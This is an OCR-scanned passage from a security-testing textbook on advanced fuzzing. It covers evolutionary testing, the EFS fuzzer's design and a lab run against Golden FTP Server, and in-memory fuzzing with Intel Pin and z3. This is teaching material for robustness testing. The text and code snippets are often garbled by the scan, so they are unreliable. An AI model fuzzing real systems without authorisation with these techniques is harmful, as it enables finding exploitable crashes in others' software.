Evolutionary fuzzing is based on concepts from evolutionary testing (ET). First,
we provide a background on ET, then we proceed with further research based on
DeMott’s work in developing Evolutionary Fuzzing System (EFS).!! ET spawns
from the computer science study of genetic algorithms. ET is part of a white-box
testing technique used to search for test data. Evolutionary or genetic algorithms
use search heuristics inspired by the idea of evolutionary biology. In short, each
member of a group or generation is tested for fitness. At the end of each genera-
tion, the more fit subjects are allowed to breed, following the survival of the fittest
notion. Over time the subjects either find the solution in search or converge and do
the best they can. The fitness landscape is a function of the fitness function and the
target problem. If it’s not possible to intelligently progress past a particular point,
we say the landscape has become flat. If progress is in the wrong direction, then
we say the landscape is deceptive. To understand how evolutionary testing works
in the traditional sense, we briefly show how fitness could be calculated. We then
show two typical problems. The current fitness function for such white-box testing
operates by only considering two things: The number of branches from the target
code (called approach level) and the distance from the current value needed to take
the desired branch (called branch distance or just distance). The formula is fitness =
approach_level + normalized(dist). If fitness = 0, then the data to exercise the target
has been found. The “//target” in the following code snippet is the test point we’d
like to create data to reach:

(s) void example(int a, int b, int c, int d)
il) if (a >= D)

iZ) if (b <= ¢)

iS) if (c == d)

{

/target

Ohttp://llvm.org/docs/LibFuzzer.html.
11«We” for all of Sections 7.5 and 7.6 indicate the research that Mr. DeMott did at Michigan State
University under the direction of Dr. Enbody and Dr. Punch.
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Suppose the initial inputs are a = 10, b = 20, ¢ = 30, d = 40. Since (a) is not
greater than or equal to (b) a decisive or critical branch is taken, meaning there is
no longer a chance to reach the target. Thus, the algorithm will stop and calculate
the fitness. The data is two branches away so the approach level equals 2. The
absolute value of ¢ — d = 10, so a normalized (10) is added to calculate the fitness.
In this case, the fitness = 2 + norm(10).

This works pretty well for some code. But imagine if we’re testing the follow-
ing code:

(s) void flag_example(int a, int b)
{

(1) int flag = 0;
(2) if(a == 0)
(3) flag = 1;
(4) if(b 1=10)
(5) flag = 0;
(6) if(flag)

(7) //target

(e) }

What kind of fitness reading can the ET algorithm get from the flag variable?
None. This is because it is not a value under direct control. Thus, the fitness land-
scape has become flat and the search degenerates to a random search.

Consider the following snippet of C code:

(s) double function_under_test (double x)
{

(1) if (inverse(x) == 0)

(2) //target

(e) }

double inverse(double d)
{

(3) if(d == 0)

(4) return 0;
else

(5) return 1/d;

J

Here the fitness landscape is worse than flat, it’s actually deceptive. For high-input
values given to inverse(), lower and lower numbers are returned. The algorithm
believes it is getting closer to zero when in fact it is not.
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In the simplest case, breeding could occur via single point crossover. Suppose
the algorithm is searching on dword values (an integer on most modern systems).
0x0003 and 0xc0cO0 are to mate from the previous generation. The mating algorithm
could simply act as follows:

1. Convert to binary: a=00000011 and b=11001100.
2. Choose a cross or pivot point at random: 0 1 0000011 and 1 | 1001100.
3. a’=10000011 and b’=01001100.

Mutation might also be employed and in the simplest case could just flip a bit
on a random dword in a random location. Such things are done on a predetermined
frequency, and with each generation the subjects under test should become more fit.

Evolutionary Fuzzing: EFS

This slamming around nature of genetic algorithms to find more fit children is not
unlike the random mutations that are often employed in fuzzing. Also, the notion
of preserving building blocks is key to understanding genetic algorithms. Bits of
significant data need to be present but reordered to find the optimal solution. Often
standards such as network protocols require certain key strings be present, but unex-
pected combinations with attack heuristics might cause the data parsing functions
to die. It seems natural to build on the above ideas to create an EFS, which is avail-
able for download at www.vdalabs.com. There are two key differences between ET
and EFS. ET requires source code and builds a suite of test data that is then used
later for the actual testing. EFS does not need source code, and the testing is done
in real-time as the test cases evolve.

7.6.1 EFS Overview

Evolutionary Fuzzing System or EFS (Figure 7.9) will learn the target protocol by
evolving sessions: a sequence of input and output that makes up a conversation
with the target. To keep track of how well we are doing, we use code coverage as a
session metric (fitness). Sessions with greater fitness breed to produce new sessions.
Over time, each generation will cover more and more of the code in the target. In
particular, since EFS covers code that can be externally exercised, it covers code
on the network attack surface. EFS could be adapted to fuzz almost any type of
interface (attack surface). To aid in the discovery of the language of the target, a
seed file is one of the parameters given to the GPF portion of EFS. The seed file
contains binary data or ASCII strings that we expect to see in this class of protocol.
For example, if we’re testing SMTP some strings we’d expect to find in the seed file
would be: “helo,” “mail to:,” “mail from:,” “data,” “\r\n.r\n,” and so forth. EFS
could find the strings required to speak the SMTP language, but for performance
reasons, initialling some sessions with known requirements (such as a valid user-
name and password, for example) will be beneficial.

EFS uses fuzzing heuristics in mutation to keep the fuzzer from learning the pro-
tocol completely correct. Remember, good fuzzing is not too close to the specification



222

Advanced Fuzzing

Apach
Reporting Racle
In Browser
.php

Python code

C code

Figure 79 The Evolutionary Fuzzing System (EFS).

but not too far away, either. Fuzzing heuristics include things like bit-flipping,
long string insertion, and format string creation. Probably even more important
is the implicit fuzzing that a GA performs. Many permutations of valid command
orderings will be tried and retried with varying data. The key to fuzzing is the
successful delivery, and subsequent consumption by the target, of semi-valid ses-
sions of data. Sessions that are entirely correct will find no bugs. Sessions that are
entirely bogus will be rejected by the target. Testers might call this activity good
test case development.

While the evolutionary tool is learning the unfamiliar network protocol, it may
crash the program. That is, as we go through the many iterations of trying to learn
each layer of a given protocol, we will be implicitly fuzzing. If crashes occur, we
make note of them and continue trying to learn the protocol. Those crashes indicate
places of interest in the target code for fixing or exploiting, depending on which
hat is on. The probability of finding bugs, time to convergence, and total diversity
is still under research at this time.

A possible interesting side effect of automatic protocol discovery is the iteration
of paths through a given protocol. Consider, for example, an old VNC authentication
bug. The option to use no authentication was a valid server setting, but it should
never have been possible to exercise from the client side unless specifically set on the
server side. However, this bug allowed a VNC client to choose no authentication
even when the server was configured to force client authentication. This allowed a
VNC client to control any VNC vulnerable server without valid credentials.

This notion indicates that it might be possible to use EFS results, even if no
robustness issues are discovered, to uncover possible security or unintended func-
tionality errors. Data path analysis of the matured sessions would be required at
the end of a run.
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7.6.2 GPF + PaiMei + Jpgraph = EFS

EFS was build upon GPF because the primary author of this research is also the
author of that fuzzer and consequently controls access to the source code. GPF
was designed to fuzz arbitrary protocols given a capture of real network traffic. In
this case, no network sniff is required, as EFS will learn the protocol dynamically.

PaiMei was chosen because if its ability to stalk a process. The process of stalk-
ing involves

* Preanalyzing an executable to find functions and basic blocks;
« Attaching to that executable as it runs and setting breakpoints;
+ Checking off those breakpoints as they are hit.

GPF and PaiMei had to be substantially modified to allow the realization of
EFS. PHP code, using the Jpgraph library, was written to access the database to
build and report graphical results.

7.6.3 EFS Data Structures

A session is one full transaction with the target. A session is made up of legs (reads
or writes). Each leg is made up of tokens. A token is a piece of data. Each token
has a type (ASCII, BINARY, LEN, etc.) and some data (“jared,” \xfe340078, etc.).
Sessions are organized into pools of sessions (see Figure 7.10). This organization is
for data management, but we also maintain a pool fitness, the sum of the unique
function hits found by all sessions. Thus, we maintain two levels of fitness for EFS:
session fitness and pool fitness. We maintain pool fitness because it is reasonable
that a group of lower-fit sessions, when taken together, could be better at finding
bugs than any single, high-fit session. In genetic algorithm verbiage,'? each chromo-
some represents a communication session.

Pool 0 Pool 1

Token 3

Session 0 Leg 1 Session 0 Leg 1 Token 1

NN BE- } \(mm. B
H BN N BN EEE - BN N EE-E
BN E H-E
N - - H-H

BN

Figure 710 Data structures in EFS.

2David E. Goldberg. (1989). Genetic Algorithms in Search, Optimization and Machine Learning.
Boston: Addison-Wesley. ISBN: 0201157675.
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7.6.4 EFS Initialization

Initially, p-pools are filled with at most s-max sessions, each of which has at most
I-max legs, each of which has at most t-max tokens. The type and data for each
token are drawn 35% of the time from a seed file or 65% of the time randomly
generated. Again, a seed file should be created for each protocol under test. If little
is known about the protocol, a generic file could be used, but pulling strings from
a binary via reverse engineering or sniffing actual communications is typically pos-
sible. Using no seed file is also a valid option.

For each generation, every session is sent to the target and a fitness is generated.
The fitness is code coverage that we measure as the number of functions or basic
blocks hit in the target. At the end of each generation, evolutionary operators are
applied. The rate (every x generations) at which session mutation, pool crossover,
and pool mutation occurs is configurable. Session crossover occurs every generation.

7.6.5 Session Crossover

Having evaluated code-coverage/fitness for each session, we use the algorithm shown
in Figure 7.11 for crossover:

—_

Order the sessions by fitness, with the most fit being first.

2. The first session is copied to the next generation untouched. Thus, we
use elitism.

3. Randomly pick two parents, A and B, and perform single point crossover,
creating children A” and B’. Much like overselection in genetic programming,
70% of the time we use only the top half of the sorted list to pick parents
from while 30% of the time we choose from the entire pool.

4. Copy all of the A legs into A” up until the leg that contains the cross point.
Create a new leg in A’. Copy all tokens from current A leg into the new A’
leg up until the cross point. In session B, advance to the leg that contains
the cross point. In that leg, advance to the token after the cross point. From
there, copy the remaining tokens into the current A’ leg. Copy all the remain-
ing legs from B into A’.

5. If we have enough sessions stop. Else:

A LI~ )~ I 0]

Figure 711 Session crossover.
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6.

Create B’ from (B x A).

7. Start in B. Copy all of the B legs into B up until the leg that contains the

cross point. Create a new leg in B’. Copy all tokens from that B leg into the
new B’ leg, until the cross point. In session A advance to the leg that con-
tains the cross point. In that leg, advance to the token after the cross point.
From there, copy the remaining tokens into the current B leg. Copy all the
remaining legs from A into B’.

Repeat until our total number of sessions (1st + new children) equals the
number we started with.

7.6.6 Session Mutation

Since we are using elitism, the elite session is not modified. Otherwise, every session
is potentially mutated with probability p. The algorithm is shown in Figure 7.12:

1.

2.

»

AI

For each session, we randomly choose a leg to do a data mutation on. We
then randomly choose another leg to do a type mutation on.

A data mutation modifies the data in one random token in the chosen leg.
Fuzzing heuristics are applied, but a few rules are in place to keep the tokens
from growing too large.

If the token is too large or invalid, we truncate or reinitialize.

. The heuristics file also contains the rules detailing how each token is mutated.

For example, a token that contains strings (ASCII, STRING, ASCII_CMD,
etc.) is more likely to be mutated by the insertion of a large or format string.
Also, as part of the information we carry on each token, we will know if each
token contains specific ASCII traits such as numbers, brackets, quotes, and
so forth. We may mutate those as well. Tokens of type (BINARY, LEN, and
others.) are more likely to have bits flipped, hex values changed, and so forth.

. The type mutation has a chance to modify both the type of the leg and the

type of one token in that leg. Leg->type = _rand(2) could reinitialize the legs

ASCI_CMD ASCII_SPACE ASCII_CMDVAR Binary Len
“USER” sl “Jared” -~ 10xfe839121 0x000a
WRITE READ
ASCI_CMD MIXED ASCII_CMDVAR Binary Len
“USER” AL “Ja %n%n -~ |0xfe839121 0x000a
%n%n red”
WRITE WRITE

Figure 712 Session mutation.
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type. (That will pick either a 0 or a 1. 0 indicates READ and 1 indicates
WRITE.) tok->type = _rand(14) could reinitialize the tokens type. There are
0-13 valid types. For example, STRING is type O (structs.h contains all the
definitions and structure types).

7.6.7 Pool Crossover

Pool crossover is very similar to session crossover, but the fitness is measured dif-
ferently. Pool fitness is measured as the sum of the code uniquely covered by the
sessions within. That is, count all the unique functions or basic blocks hit by all
sessions in the pool. This provides a different (typically better) measure than, say,
the coverage by the best session in the pool, see Figure 7.13.

The algorithm is:

1. Order the pools by fitness, with the most fit being first. Again, pool fitness
is the sum of all the sessions’ fitness.

2. The first pool is copied to the next generation untouched. Thus, elitism is
also operating at the pool level.

3. Randomly pick two parents and perform single point crossover. The cross-
over point in a pool is the location that separates one set of sessions from
another. 70% of the time we use only the top half of the sorted list to pick
parents from. 30% of the time we choose from the entire list of pools.

A B

BN - BN -
 Fe K4 K4 |

BI

Figure 713 Pool crossover.
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4. Create A’ from (A x B):

5. Start in A. Copy all of the sessions from A into A” until the cross point. In

pool B, advance to the session after the cross point. From there, copy the

remaining sessions into A’.

If we have enough pools stop. Else:

Create B’ from (B x A).

Start in B. Copy all of the sessions from B into B” until the cross point. In

pool A, advance to the session after the cross point. From there, copy the

remaining sessions into B’.

9. Repeat until the total number of pools (1st + new children) equals the num-
ber started with.

% N o

7.6.8 Pool Mutation

As with session mutation, pool mutation does not modify the elite pool. The algo-
rithm is (example in Figure 7.14):

50% of time add a session according to the new session initialization rules.
50% of the time delete a session.

If the sessions/pool are fixed, do both.

In all cases, don’t disturb the first session.

P

A B
A’ B’

Figure 7.14. Pool mutation.
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7.6.9 Running EFS
From a high level, the protocol between EFS-GPF and EFS-PaiMei is as follows:

GPF initialization/setup data — PaiMei

Ready « PaiMei

<GPF carries out communication session with target>

GPF {OKIERR} — PaiMei

<PaiMei stores all of the hit and crash (if any) information to the database>

When all of the sessions for a given generation have been played, GPF contacts the
database, calculates a fitness for each session (counts hits) and for each pool (distinct
hits for all sessions within a pool), and breeds sessions and pools as indicated by the
configuration options. Figures 7.15 and 7.16 show the EFS-GPF and EFS-PaiMei
portions of EFS in action. For the GUI portion we see:

1. Two methods to choose an executable to stalk:

a. The firstis from a list of process identifications (PIDs). Click the “Refresh
Process List” to show running processes. Click the process you wish
to stalk.

b. The second is by specifying the path to the executable with arguments.
An example would be: “c:\textserver.exe” med

Connections  Advanced  Help

Data Sources Data Exploration Data Capture
7 7 7 [ Refresh Target List # EIP TIo Module Func? Tag [ Refresh Process List |
e G = [ Avallable Targsts FID Process
PAIMEIdocs B fier
[5 gftp_start_qui_conn_junk_discol
[5) mdaemon_startup_gui_smtpcony
[5 msftp_start_conn_junk_disconn
5] mssmtp_start_conn_junk_discon Target: ('c\my difla.exe’ args) or (a.exe)
Textserver_bb_startup_conn_ju strscrpt ||
TextServer_startup_con_junk_d
=B 6PE Functions: 0] 309 Basic Blocks: 0] 671 Loadjattach:
e I ||
Coverage Depth Start [ 1.0
Wait:
Dereferenced Data OFunctions () Basic Blocks
Database to Save Hits
P < | > @@F  Opaimei | IPrintHts
IDA Modules
# Func #BB PIDA Module [JRestore BPs [JHeavy []Unhandled only
309 671 textserver ...
[ Start Stalking
&FF After Stalk
None Detach Terminate
PAIME fiefuzz © ° o
On Crash
[ Add Module(s) (@ None Opetach O Terminate
*] EFS (Evolwing Fuzzer System), by Jared DeMott
+] pased on the PaiMei Process Stalker module, by Pedram amini
*] Loaded PIDA module 'textserver.exe' in 0.25 seconds.
*] Function coverage at 0.000000%. Basic block coverage at 0.000000%.
=] using 'gpf' as stalking tag.
Listen for Fuzzer Command & Control EJ
Host: 0.0.0.0
Fort: 31338
General Wait: )
Durnp Directory: mps|TextServer\0
| PrD: a
[ Listen
Listen for Fuzzer C&C, EFS

Figure 7.15. The GUI portion of EFS.
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2. We can choose to stalk functions (funcs) or basic blocks (BBs).

The time to wait for each target process load defaults to 6 seconds, but could

be much less (1 second) in many cases.

4. Hits can be stored to the GPF or PaiMei subdatabases that are in the MySQL
database. PaiMei should be used for tests or creating filter tags, while GPF
should be used for all EFS runs.

5. After each session, or stalk, we can do nothing, detach from the process (and
reattach for the next stalk), or terminate the process. The same options are
available if the process crashes.

6. Use the PIDA Modules box for loading the .pida files. These are derived
from executables or dynamically linked libraries (.DLLs) and are used to set
the breakpoints that enable the process stalking to occur. One executable
needs to be specified and as many .DLLs as desired.

7. There is a dialog box under Connections to connect to the MySQL database.
Proper installation and setup of EFS-PaiMei (database, etc.) is included in
a document in the EFS source tree.

8. The Data Sources box is the place to view target lists and to create filter
tags. This is done to speed up EFS by weeding out hits that are common to
every session. The process to create a filter tag is:

»

Eile Edit View Terminal Tabs Help

1 pools

However

PAUSED

root@server/mi... X |root@server/mi... X |root@server/mi... X |root@server/mi... % |root@server/mi... X |root@server/mi... »
[root@server EFS]# ../GPF -E 192.168.31.100 root root 8 0 192.168.31.100 31338 basic_blocks client 19
2.168.31.100 10000 ? TCP 80000 20 med auto 1 100 Fixed 10 Fixed 5 Fixed 100 7 5 9 none TextServer_cmd
s.seed no

Mysgl connection successful.

Each session has not more than 10 legs (pkts).

Each leg has not more than 5 tokens (data fields).

The type/data of each token has been randomly determined.
Seeds from TextServer_cmds.seed were also used.

PaiMei connection successful.
Did people come from toads? I don't think so, the world drips of intelligent design.

, I do believe a strong dog can become stronger due to micro-evolution or adaptation.
So why shouldn't our fuzzers be able to evolve as well? :)

Deleting all previous hits for this ID=8 ... done.
Deleting all previous crashes for this ID=8 ... done.
Playing POOL 0O
Playing session 0

[<-NoPrevData-0/38][0] "Welcome.'\x0d
Your IP is 192.168.31.103>%x0d\x0a"

[41[976->] "3\x0d

s]g8 BS.U* "V w, _nh+,  ....80k  r_ >0 5= (Z.5)..,. K. . d.be*..p=. / . 4Hg*7Y 3z"...

[<-NoPrevData-0/10][5] "Bad Cmd.‘\x0d\x0a"
Playing session 1
Playing session 2
Playing session 3

Use ctrl-% to QUIT
Press Enter to continue.

have been randomly filled with no more than 100 sessions.

Figure 716 The GPF Unix command line portion of EFS.
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a. Define a filter tag. (We called ours “ApplictionName_startup_

conn_ junk_disconn_shutdown”)

Stalk with that tag and record to the PaiMei database.

Start the target application.

Using netcat, connect to the target application.

Send a few random characters.

Disconnect.

g. Shutdown the target application.

There is another dialog box that defines the GPF connection to EFS-PaiMei

called Fuzzer Connect.

a. The default port is 31338.

b. The general wait time describes how long each session has to complete
before EFS will move on to the next session. This is needed to coordi-
nate the hit dumping to MySQL after each session. The default is .8
seconds, but for lean applications, running around .2 should be fine.
For larger applications, more time will be required for each session. Tun-
ing this number is the key to the speed that EFS will run (for example:
4%100000=11hrs, .8*100000=22hrs, 1.6*100000=44hrs).

c. The dump directory defines a place for EFS to dump crash information
should a robustness issue be found. We typically create a directory of the
structure “.\EFS_crash_data\application_name\number.”

d. The number should coordinate to the GPF_ID for clarity and organization.

-0 0 o

For the GPF (command line) portion of EFS we have 32 options:

1.

10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.

AN e

-E indicates GPF is in the evolving mode. GPF has other general purpose
fuzzing modes that will not be detailed here.

IP of Mysql db.

Username of Mysql db.

Password for Mysql db.

GPE_ID.

Starting generation. If a number other than zero is specified, a run is picked
up where it left off. This is helpful if EFS were to crash, hang, or quit.

IP of GUT EFS.

. Port of GUI EFS.

Stalk type. Functions or basic blocks.

Play mode. Client indicates we connect to the target and server is the opposite.
IP of target. (Also IP of proxy in proxy mode.)

Port of target. (Also port of proxy in proxy mode.)

Source port to use. ?’ lets the OS choose.

Protocol. TCP or UDP.

Delay time in milliseconds between each leg of a session.

Number of .01 seconds slots to wait while attempting to read data.
Output verbosity. Low, med, or high.

Output mode. Hex, ASCII, or auto.

Number of pools.

Number of sessions/pool.
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21. Is the number fixed or a max? Fixed indicates it must be that number, while
max allows any number under that to be valid as well.

22. Legs/session.

23. Fixed or max.

24. Tokens/leg.

25. Fixed or max.

26. Total generations to run.

27. Generation at which to perform session mutation.

28. Generation at which to perform pool crossover.

29. Generation at which to perform pool mutation.

30. User definable function on outgoing sessions. Noze indicates there isn’t one.

31. Seed file name.

32. Proxy mode. Yes or no. A proxy can be developed to all EFS to run against
none network protocols such as internal RPC API calls, etc.

33. (UPDATE: A 33rd was added to control diversity.)

7.6.10 Test Case: Golden FTP Server

The first test target was the Golden FTP server (GFTP). It is a public domain ftp
server GUI application for Windows that has been available since 2004. Analysis
shows approximately 5,100 functions in GFTP, of which about 1,500 are concerned
with the GUI/startup/shutdown/config file read/, leaving potentially 3,500 functions
available. However, the typical attack surface of a program is considerably smaller,
often around 10%. We show more evidence of this in the benchmarking research.

Three sets of experiments were run. Each experiment was run three times on
two separate machines (six total runs/experiment). The reason for two machines
was twofold: time savings, as each complete run can take about 6 hrs/100 genera-
tions and to be sure configurations issues were not present on any one machine.
Experiment 1 is one pool of 100 sessions. Experiment 2 had four pools each with
25 sessions. Experiment 3 had 10 pools each with 10 sessions. All other parameters
remain the same: The target was Golden Ftp Server v1.92, there were 10 legs/ses-
sion, 10 tokens/leg, 100 total generations, a session mutation every 7 generations,
for multiple pool runs—pool crossover every 5 generations, and pool mutation every
9 generations. For these experiments we used function hits as the code coverage
metric. The session, leg, and token sizes are fixed values.

7.6.11 Results

Figure 7.17 shows the average fitness for both pool and session runs, averaged over
all the runs for each group. Figure 7.18 shows the best fitness for both pool and ses-
sion, selected from the best run (that is, the best session of all the runs in the group,
and the best pool of all the runs in the group). The first thing that Figure 7.17 shows
us is that pools are more effective at covering code than any single session. Even
the worst pool (1-pool) covers more code than the best session. Roughly speaking,
the best pool covers around twice as much as the best session. The second observa-
tion that Figure 7.17 shows us is that multiple, interacting pools are more effective
than a single large pool. Note that this is not just a conclusion about island-parallel
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Average Fitness (6 runs/group) at each Generation
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Figure 717 Average fitness of pool and session over six runs.

evolutionary computation,'3 since the interaction between pools is more frequent

and of a very different nature than the occasional exchange of a small number of
individuals as found in island parallelism. The pool interaction is more in line with a
second-order evolutionary process, since we are evolving not only at the session level,
but also at the pool level. While pool-1 starts out with better coverage, it converges
to less and less coverage. Both 4-pool and 10-pool start out with less coverage, but
have a positive fitness trajectory on average, and 4-pool nearly equals the original
1-pool performance by around generation 180 and appears to still be progressing.

Figure 7.17 shows that, selecting for the best pool/session from all the runs,
4-pool does slightly outperform other approaches. That is, the best 4-pool run out-
performed any other best pool and greatly outperformed any best session.

The information provided by Figures 7.19 through 7.21 shows the following:
First, they show the total number of crashes that occurred across all runs for 1-pool,
4-pool, and 10-pool. The numbers around the outside of the pie chart are the actual
number of crashes that occurred for that piece, while the size of each pie chart piece
indicates that crash’s relative frequency with respect to all crashes encountered.
Furthermore, the colors of each piece reflect the addresses in just called GFTP
elsewhere where the crashes occurred. Remember that the only measure of fitness
that EFS uses is the amount of code covered, not the crashes. However, these crash
numbers provide a kind of history of the breadth of search each experiment has

BE. Cantu-Paz. (2000). Efficient and Accurate Parallel Genetic Algorithms. Norwell, MA: Kluwer
Academic Publishers.
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developed. For example, all three experiments crashed predominantly at address
0x7C80CF60. However, 10-pool found a number of addresses that neither of the
others did—for example, the other 0x7C addresses. While the ultimate goal is to
discover the address of the bug, the crash address provides a place to start the search.

GFTP is an interesting (and obviously buggy) application. It creates a new
thread for each connection, and even if that thread crashes, it can keep process-
ing the current session in a new thread. This allows for multiple crashes/session,
something that was not originally considered. This accounts for the thousands of
crashes observed. Also, keep in mind these tests are done in a lab environment, not
on production systems. Nothing was affected by our crashes or could have caused
them. These tests were done in January 2007, and no ongoing effort against GFTP
is in place to observe whether these bugs have been patched. Also, no time was spent
attempting to develop exploits from the recorded crash data. It is the authors’ opin-
ion that such exploits could be developed, but we would rather focus on continued
development and testing of EFS.

7.6.12 Conclusions on EFS

The Evolving Fuzzing System was able to learn a protocol and find bugs in real soft-
ware using a gray-box evolutionary robustness testing technique. Further research
on pools could extend the test coverage, as in the study they don’t seem to have
completely covered the target interface. A similar technique could also be applied
to binary protocols.
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Figure 718 Best of pool and session over six runs.
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Figure 719 One-pool crash total (all runs).
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Figure 7.20 Four-pool crash total (all runs).
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Figure 7.21 Ten-pool crash total (all runs).

In-Memory Fuzzing

As described in Section 5.2.7, in-memory fuzzing can be used to target a single
function or basic block in the target instead of fuzzing the whole application.

This section describes implementation of in-memory fuzzing with the Pin'* tool.
Thanks to Jonathan Salwan for contributing material for to section.

7.71 Implementation of In-Memory Fuzzer

There are a lot of possible ways to implement in-memory fuzzing. For instance, a
debugger can be used to set breakpoints or modify registers. The general workflow
for the implementation described in this section is shown in Figure 7.22.

The workflow can be opened in to five steps:

Target a function or a basic block;

Take a snapshot of the current register/memory states;
Generate input values;

Execute target until breakpoin;

Restore the snapshot and return to step 3.

IR

4https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool.
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Figure 7.22 In-memory fuzzing workflow.

While performing the fuzzing the target program should be monitored for all interest-
ing SIGNALSs which may indicate that something of interest happened in the target.

7.7.2 Instrumentation

Pin is a dynamic binary instrumentation framework that is used in this implemen-
tation. It is available on Windows, Linux, and OSX, for both IA-32 and x86-64
instruction-set. Binary instrumentation gives the opportunity to add callbacks to
each executed instruction. This can be used to monitor what is going on at each
program point during the execution. For instance, it can be used to monitor/control
memory and registers at each program point, but these features imply overhead.
Using a Pin CONTEXT for every callback entails an overhead of almost 1,000x,
as seen in Figure 7.23.

DBI Overloads with Pin

12
10.52

10

6.66

MInitial execution
6 —  mDBI without context

DBI with context

Time (s)

0.57 0.35
0 0.01 _— 0.01

T
/usr/bin/id Jusr/bin/uname
Programs

Figure 7.23 Performance impact of Pin CONTEXT.
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7.7.3 The Pin API

The Pin API provides all functionality needed to implement an in-memory fuzzer.
To detect error conditions, the PIN_InterceptSignal() function can be used to
catch signals from the target. This function takes as arguments a signal type and
a callback. For example, code like this can be used to catch the SIGSEGYV signal:

PIN_InterceptSignal (SIGSEGV, catchSignal, 0);

Pin sends the CONTEXT to the callback when a SIGSEGV occurs. Knowing that,
it is possible to get the value of registers and our crash triggering input using the
PIN_GetContextReg() function.

PIN_GetContextReg (const CONTEXT *ctxt, REG reg)

As with getting the state of registers, it is possible to modify values with the PIN_
SetContextReg() function.

PIN_SetContextReg (const CONTEXT *ctxt, REG reg, ADDRINT value)

PIN_SaveContext() function can be used to save the current state of registers. In
this implementation it is used to save and restore a snapshot.

CONTEXT snapshot;
PIN_SaveContext(ctx, &snapshot); // Take the snapshot registers

PIN_SaveContext(&snapshot, ctx); // Restore the snapshot
PIN_ExecuteAt(ctx); // Execute from the new context

However, Pin_SaveContext() only saves the registers’ state, not the memory. It
means that all STORE instructions must be monitored and the modified bytes
must be restored during the snapshot restoration process. The following InsertCall
is added before the execution to save the bytes overwritten.

if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsWritten(ins,
0))

INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)memoryWrite,

IARG_PTR, new string(INS_Disassemble(ins)),

TARG_ADDRINT, INS_Address(ins),

TARG_MEMORYOP_EA, O,

TARG_UINT32,

INS_MemoryWriteSize(ins),

IARG_END);

7.7.4 Register Example

Figure 7.24 shows the control flow graph of a function. The first argument (rdi and
so [rbp+var_4]) are controllable by the user (untrusted input). In the highlighted



238 Advanced Fuzzing

basic block, eax holds the user argument. To execute in-memory fuzzing, a snap-
shot is taken at the entry point of the basic block and restored at the end. For every
iteration, a new fuzzed value is injected to the eax register.

Using the Pin API, Jonathan Salwan developed a Pin tool that fuzzes, in mem-
ory, a targeted area until a crash occurs. The Pin tool takes a “start” and an “end”
address, and then it offers two fuzzing strategies: incremental or random.

Required
-start <address> The start address of the
fuzzing area
-end <address> The end address of the
fuzzing area
-reg {register> The register which to fuzz
=
; Attributes: bp-based frame
public foo
foo proc near
var_18= quword ptr -16h
var_4= dword ptr -4
push rbp
mnowv rbp, rsp
sub rsp, 18h
mou [rbp+var_4], edi
mov [rbp+var_18], rsi
cmp [rbp+var_4], 8@
jle short loc_4865CC
I L
¥
=
cmp [vbp+var_4], 2FFFh
jg short loc_48@5CC
I _
¥ vy
= = b
mov eax, [rbp+uar_u]
cdqe loc_4885CC:
add rax, [rbp+var_18] nov eax, BFFFFFFFFh
MovzZx eax, byte ptr [rax] y
mousx edx, al
mnou eax, offset format ; "%cun”
mov esi, edx
mov rdi, rax ; format
now eax, @
call _printf
nov eax, A
jmp short locret_40885D1
[
L ]
=

locret_4@asDq:
leave

retn

foo endp

Figure 7.24 Example control flow graph.
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Optional

-startValue <value> The start value

-maxValue <value> The end value

-fuzzingType <”inc” | “random”> Type of fuzzing: incremental
or random

For example, the incremental fuzzing strategy on eax to attack the highlighted basic

block can be used like this:

$ time pin -t ./InMemoryFuzzing.so -start 0x4005ab5 -end 0x4005bb
-reg eax -fuzzingType inc -startValue 1 -maxValue 0x3000 -- ./
test 1 > dump

[2] 8472 segmentation fault
0.53s user 0.20s system 99% cpu 0.729 total

The program crashes and the dump file tells that the last value in the RAX register
was 0x2420.

[Restore Context]

[Save Context]

[CONTEXT === - === m = m s o e oo s o oo
RAX = 0000000000002420 RBX = 0000000000000000 RCX =
00007fff3134c168

RDX = 00007fff3134abe0 RDI = 0000000000000001 RSI =
00007fff3134abel

RBP = 00007fff3134abc0O RSP
00000000004005a5

00007fff3134abb0 RIP

+--> 4005a5: cdqge
+--> 4005a7: add rax, qword ptr [rbp-0x10]
+--> 4005ab: movzx eax, byte ptr [rax]

/'\ SIGSEGV received /!\

[SIGSGV J=----mmmmm s s s s s s s s s s s
RAX = 00007fff3134d000 RBX = 0000000000000000 RCX =
00007fff3134c168

RDX = 00007fff3134abe0 RDI
00007 fff3134abel

RBP = 00007fff3134abc0O RSP
00000000004005ab

0000000000000001 RSI

00007fff3134abb0 RIP

In summary, a Pin tool was used to fuzz a specific basic block without rerun-
ning the binary itself; this is what is called in-memory fuzzing. It is possible to tar-
get much more than just a single basic block, for example an entire function and



240

Advanced Fuzzing

its callees. This might commonly be done when a program accepts encrypted data.
Generally it is desirable to fuzz the blocks that parse unencrypted data. Thus, it
would be practical to hook after the decryption, and again after the parsing.

7.7.5 Pros and Cons

Obviously, this fuzzing technique has a lot of disadvantages. First is the need to
reverse-engineer the code in order to identify what to fuzz, including what registers
the user can control, what the values should look like, and so forth. For instance, if
there is a branch condition (eax > 0 and eax <= 10), it’s useless to fuzz with values
below zero and greater than ten. This method also has false positives, inputs used
to crash the program that are not actually possible to obtain from real program
input. This takes away from one of the strengths of fuzzing in general.

However, this technique is useful when exact parts of the target to focus on
are known.

7.7.6 Improvements by Dynamic Symbolic Execution

Fuzzing a register in memory may produce some false positives. To avoid that, con-
sider the path condition from a point A to a point B. Usage of dynamic symbolic
execution (DSE) may overcome this lack of information and help to define what
the values should look like at a specific point.

Let’s imagine an input variable x and an execution path from A to B, and that
you want to fuzz x at B. If the x variable is a 32 bits value, there are 2732 possible
values but lot of them are unreachable in the real execution context due to the pre-
vious path conditions.

DSE is mainly used to build this path condition, shown as pc in Figure 7.25. In our
example, at the point B we know that x can hold every value which satisfies the
formula pcl » pc2 » pc3.

The SAT/SMT solver can be used to generate every concrete values that x can
hold at the point B.

>>> from z3 import *

>>

>>> x = BitVec(‘x’, 32)
>>> s = Solver()

>>>

>>> s.add(x > 0)

>>> s.add(x < 10)

>>> s.add(x % 2 == 0)

>>> while s.check() == sat:

x>0 x< 10 I(x % 2)
Figure 7.25 Path conditions.
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print s.model()[x]
s.add(x != s.model()[x])

v B~ oo 0o

>>

The snapshot process is still the same as that in the previous section. This time, sym-
bolic passes are used to build the path condition and finally generate every concrete
